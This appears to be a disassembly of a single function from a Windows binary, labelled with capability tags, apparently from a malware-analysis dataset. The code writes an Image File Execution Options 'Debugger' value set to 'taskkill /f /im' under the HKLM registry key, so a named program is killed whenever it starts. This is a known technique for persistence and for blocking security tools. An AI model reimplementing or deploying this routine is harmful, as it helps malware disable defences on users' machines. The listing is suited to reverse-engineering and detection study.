Function at 0x140001860
Capabilities:
Persist via image file execution options registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rsi, rcx
mov r15, qword [rcx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x4a
jb 0x140001bee
mov r13, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400018c0
mov r13, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f], xmm1
lea r12, [r15 + 0x4a]
mov ebx, 0xf
mov edi, ebx
lea r14, [rbp + 0xf]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp r12, rbx
jbe 0x14000195c
mov rdi, r12
or rdi, rbx
cmp rdi, rcx
jbe 0x140001923
mov rdi, rcx
add rax, 0x27
mov rcx, rax
call fcn.1400081d0
test rax, rax
je 0x140001ba3
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001958
cmp rdi, rdx
cmovb rdi, rdx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001938
xor r14d, r14d
jmp 0x140001958
cmp rcx, 0x1000
jb 0x140001950
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001be2
jmp 0x140001904
call fcn.1400081d0
mov r14, rax
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x1f], r12
mov qword [rbp + 0x27], rdi
movaps xmm0, xmmword [str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_]
movups xmmword [r14], xmm0
movaps xmm1, xmmword [0x14000ac20]
movups xmmword [r14 + 0x10], xmm1
movaps xmm0, xmmword [0x14000ac30]
movups xmmword [r14 + 0x20], xmm0
movaps xmm1, xmmword [0x14000ac40]
movups xmmword [r14 + 0x30], xmm1
movsd xmm0, qword [0x14000ac50]
movsd qword [r14 + 0x40], xmm0
movzx eax, word [0x14000ac58]
mov word [r14 + 0x48], ax
lea rcx, [r14 + 0x4a]
mov r8, r15
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r12], 0
lea rdx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova rdx, qword [rbp + 0xf]
xor r12d, r12d
mov qword [rsp + 0x40], r12
lea rax, [rbp - 0x19]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001b71
mov r15, qword [rsi + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x10
jb 0x140001bdc
cmp qword [rsi + 0x18], 0xf
jbe 0x140001a35
mov rsi, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
lea r14, [r15 + 0x10]
lea rdi, [rbp - 0x11]
cmp r14, 0xf
jbe 0x140001acd
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001a8e
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400081d0
test rax, rax
je 0x140001b64
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001ac9
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001aa9
mov rdi, r12
jmp 0x140001ac9
cmp rcx, 0x1000
jb 0x140001ac1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001be8
jmp 0x140001a6f
call fcn.1400081d0
mov rdi, rax
mov qword [rbp - 0x11], rdi
mov qword [rbp - 1], r14
mov qword [rbp + 7], rbx
movups xmm0, xmmword [str.taskkill__f__im]
movups xmmword [rdi], xmm0
lea rcx, [rdi + 0x10]
mov r8, r15
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], r12b
mov eax, dword [rbp - 1]
inc eax
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rcx, qword [rbp - 0x11]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Debugger
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x140001b71
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b6b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x140001baf
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001baa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001baa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000851c
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400081b0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001720
nop
call fcn.140001660
nop
call fcn.140001660
nop
call fcn.140001720
int3